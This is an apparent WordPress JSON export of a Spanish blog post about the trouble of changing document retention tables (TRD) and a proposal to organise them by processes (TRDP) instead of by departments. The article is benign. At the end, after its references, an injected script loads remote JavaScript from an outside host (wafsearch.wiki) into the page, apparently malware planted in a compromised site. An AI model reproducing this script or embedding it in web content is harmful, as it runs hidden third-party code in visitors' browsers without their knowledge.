{"id":1795,"date":"2017-05-31T05:42:17","date_gmt":"2017-05-31T10:42:17","guid":{"rendered":"http:\/\/www.blocument.com\/?p=1795"},"modified":"2026-03-20T04:08:57","modified_gmt":"2026-03-20T09:08:57","slug":"cambios-de-tablas-de-clasificacion-documental-un-dolor-de-cabeza-para-las-organizaciones-modernas","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/cambios-de-tablas-de-clasificacion-documental-un-dolor-de-cabeza-para-las-organizaciones-modernas\/","title":{"rendered":"Cambios de Tablas de Clasificaci\u00f3n Documental: Un Dolor de Cabeza para las Organizaciones Modernas"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza.jpg\"><img loading=\"lazy\" class=\"alignleft size-thumbnail wp-image-1796\" title=\"TRD-dolor-de-cabeza\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-150x150.jpg\" alt=\"Cambio de TRDs: dolor de cabeza\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-150x150.jpg 150w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-300x300.jpg 300w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-1024x1024.jpg 1024w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-1536x1536.jpg 1536w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-2048x2048.jpg 2048w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-100x100.jpg 100w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-266x266.jpg 266w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-200x200.jpg 200w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/TRD-dolor-de-cabeza-400x400.jpg 400w\" sizes=\"(max-width: 150px) 100vw, 150px\" \/><\/a> El cambio del <strong>Cuadro de Clasificaci\u00f3n Documental<\/strong> y, por ende, de las Tablas de Retenci\u00f3n Documental (<strong>TRD<\/strong>) es uno de los principales dolores de cabeza de los responsables de Archivo de nuestras entidades, especialmente aquellas obligadas por Ley a mantener un sistema de clasificaci\u00f3n del archivo.<\/p>\n<p>La praxis tradicional derivada de la aplicaci\u00f3n literal de la <strong>normativa archiv\u00edstica<\/strong> invita a asociar y codificar las series y tipos documentales en funci\u00f3n de su adscripci\u00f3n a las dependencias que se responsabilizan de los tr\u00e1mites involucrados. Pero esto tiene consecuencias muy desfavorables para un mantenimiento a largo plazo de los fondos documentales de la instituci\u00f3n, como veremos a continuaci\u00f3n.<\/p>\n<h3>\u00bfPor qu\u00e9 tanto cambio?<\/h3>\n<p>El problema va muy ligado a los constantes cambios en nuestras organizaciones, que afectan a menudo a la estructura org\u00e1nica o a las responsabilidades asumidas por cada dependencia.<\/p>\n<p>El fen\u00f3meno se agrava cuando la organizaci\u00f3n posee un <strong>software <\/strong>de Gesti\u00f3n Electr\u00f3nica de Documentos de Archivo (<strong>records management system<\/strong>), que debe estar continuamente actualizado a la realidad de la entidad, para no perder el sentido de la clasificaci\u00f3n t\u00e9cnica de los documentos que ayuda a implementar.<\/p>\n<p>Los cambios de TRDs vienen impuestos por alguno de los siguientes <strong>motivos<\/strong>:<\/p>\n<ul>\n<li>Modificaciones de la estructura org\u00e1nica (organigrama), nuevas dependendias, fusi\u00f3n y\/o desaparici\u00f3n de dependencias, etc.<\/li>\n<li>Reasignaci\u00f3n de responsabilidades sobre ciertos tr\u00e1mites (p.ej. algunos contratos que depend\u00edan del \u00c1rea Jur\u00eddica, pasan a depender de otro \u00e1rea).<\/li>\n<li>Aparici\u00f3n de nuevos tr\u00e1mites, que implican la aparici\u00f3n de nuevas series y tipos documentales.<\/li>\n<li>Redise\u00f1o de los tr\u00e1mites existentes, lo que implica cambios a nivel de tipos documentales dentro de las series existentes.<\/li>\n<\/ul>\n<h3>\u00bfEn qu\u00e9 afectan los cambios al sistema de gesti\u00f3n documental?<\/h3>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama.jpg\"><img loading=\"lazy\" class=\"size-thumbnail wp-image-1801 alignright\" title=\"Organigrama corporativo\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-150x150.jpg 150w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-300x300.jpg 300w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-1024x1024.jpg 1024w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-768x768.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-1536x1536.jpg 1536w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-2048x2048.jpg 2048w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama.jpg 600w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/organigrama-100x100.jpg 100w\" sizes=\"(max-width: 150px) 100vw, 150px\" \/><\/a>Existen multitud de par\u00e1metros y factores que deben funcionar correctamente y a la perfecci\u00f3n para poder mantener las operaciones de gesti\u00f3n documental sin incidencias a pesar de los cambios. Para podernos hacer una idea del alcance de un cambio de TRDs, enumeramos a continuaci\u00f3n las entidades que pueden verse afectadas:<\/p>\n<ul>\n<li>Usuarios (que se asignan a una o varias dependencias).<\/li>\n<li>Dependencias (sedes, \u00e1reas y departamentos)<\/li>\n<li>Repositorios de bandejas (organizadas en analog\u00eda a las dependencias seg\u00fan las leyes de archivo vigentes).<\/li>\n<li>Series y subseries documentales (que obedecen a las actividades y tr\u00e1mites realizas por las dependencias).<\/li>\n<li>Tipos documentales (tipifican los documentos que se clasifican en expedientes).<\/li>\n<li>Entradas de men\u00fa (enlaces r\u00e1pidos para acceder a los repositorios y las funciones del sistema).<\/li>\n<li>Valores de retenci\u00f3n y clasificaci\u00f3n (para la pol\u00edtica de archivo).<\/li>\n<li>Permisos de acceso (que pueden cambiar cuando cambian las responsabilidades de las dependencias sobre los tr\u00e1mites).<\/li>\n<li>C\u00f3digos y etiquetas (que deben cambiar si las series migran a nuevas dependencias).<\/li>\n<\/ul>\n<p>El problema puede volverse muy complejo cuando ya existe un hist\u00f3rico clasificado conforme a TRDs anteriores, que debe migrar al nuevo sistema cuando los tr\u00e1mites documentales (expedientes) a\u00fan se hallen en curso. Todos los expedientes que se encuentren en proceso deber\u00edan migrar a las nuevas TRDs, mientras que los expedientes ya archivados deber\u00edan permanecer clasificados conforme a las TRDs vigentes en el momento de su archivo.<\/p>\n<p>En consecuencia, es preciso buscar una metodolog\u00eda que respetando la esencia de la legislaci\u00f3n de archivo, permita minimizar los cambios impuestos en un SGEDA. Para ello, solamente tenemos que acudir a nuestros manuales de Calidad.<\/p>\n<h3>Tablas de retenci\u00f3n documental enfocadas a Procesos (TRDP):<\/h3>\n<p>Este nuevo paradigma afirma que si para\u00a0 las\u00a0 TRD\u00a0 tradicionales\u00a0 se\u00a0 elabora\u00a0 una\u00a0 por\u00a0 cada unidad administrativa, las TRDP se elaborar\u00e1n siguiendo el Mapa de Procesos, es decir, se clasifican atendiendo a los macroprocesos de la entidad (gerenciales, misionales y de apoyo) y, a su vez, a los procesos y subprocesos transversales o verticales dentro de los mismos.<\/p>\n<p>Por tanto, los fondos documentales no se &#8220;ubican&#8221; dentro de dependencias administrativas estancas, sino dentro de procesos, pudiendo un proceso pertenecer o no a una o varias dependencias de la organizaci\u00f3n.<\/p>\n<blockquote><p>Tambi\u00e9n se podr\u00eda decir que los fondos deber\u00edan orientarse a funciones y no a jerarqu\u00edas.<\/p><\/blockquote>\n<p>En t\u00e9rminos pr\u00e1cticos se tratar\u00eda de sustituir en el repositorio documental los niveles de las secciones\/ subsecciones administrativas, por los niveles de PROCESOS\/ SUBPROCESOS, a los cuales colgaremos las series\/ subseries de la TRD, realizando la codificaci\u00f3n de las TRDs a partir de la codificaci\u00f3n de los procesos. As\u00ed las bandejas del repositorio se asociar\u00e1n a procesos y no a dependencias f\u00edsicas, que por su naturaleza est\u00e1n sujetas a mayores cambios.<\/p>\n<p><em>USUARIOS X DEPENDENCIAS X PROCESOS X ACTIVIDADES X TRAMITES<\/em><\/p>\n<p>De esta manera no desaparecen el concepto de unidad administrativa, dado que los usuarios seguir\u00e1n vincul\u00e1ndose con \u00e9stas, pero se obtiene un <strong>grado adicional de libertad<\/strong> que permite establecer relaciones irrestrictas de responsabilidad o acceso entre las unidades de la compa\u00f1\u00eda y los tr\u00e1mites que \u00e9stas realizan o consultan.<\/p>\n<h3>Ventajas del enfoque archiv\u00edstico por funciones o procesos:<\/h3>\n<p>Aplicando este m\u00e9todo, las dependencias pueden reasignarse libremente a los procesos y se desacoplan cambios profundos en TRDs cuando los procesos no se modifican, sino \u00fanicamente cambia el organigrama de la organizaci\u00f3n. As\u00ed mismo, la ubicaci\u00f3n de los expedientes y documentos (tipos documentales) no cambia, dado que las bandejas del repositorio de archivos se mantienen ligadas a los procesos, que normalmente no cambian, sino \u00fanicamente evolucionan.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos.jpg\"><img loading=\"lazy\" class=\"alignright size-thumbnail wp-image-1803\" title=\"gesti\u00f3n por procesos\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos-150x150.jpg\" alt=\"\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos-150x150.jpg 150w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos-300x300.jpg 300w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos-1024x1024.jpg 1024w, https:\/\/www.adapting.com\/wp-content\/uploads\/2017\/05\/gestion-por-procesos-1536x1536.jpg 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cesaciones de actividad, tendr\u00e1 su reflejo equivalente en las series y tipos documentales, pero ser\u00e1 siempre menos gravoso que recodificaciones completas y movimientos masivos del repositorio documental.<\/p>\n<h3>Referencias:<\/h3>\n<p><a href=\"http:\/\/eprints.rclis.org\/20237\/1\/Tablas%20de%20retenci%C3%B3n%20documental%20enfocada%20a%20procesos%20%28TRDP%29%20una%20propuesta%20emergente%20en%20tiempos%20de%20cambio.pdf\" target=\"_blank\" rel=\"noopener\">http:\/\/eprints.rclis.org\/20237\/1\/Tablas%20de%20retenci%C3%B3n%20documental%20enfocada%20a%20procesos%20%28TRDP%29%20una%20propuesta%20emergente%20en%20tiempos%20de%20cambio.pdf<\/a><\/p>\n<p><a href=\"https:\/\/revistas.lasalle.edu.co\/index.php\/co\/article\/view\/674\" target=\"_blank\" rel=\"noopener\">https:\/\/revistas.lasalle.edu.co\/index.php\/co\/article\/view\/674<\/a><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 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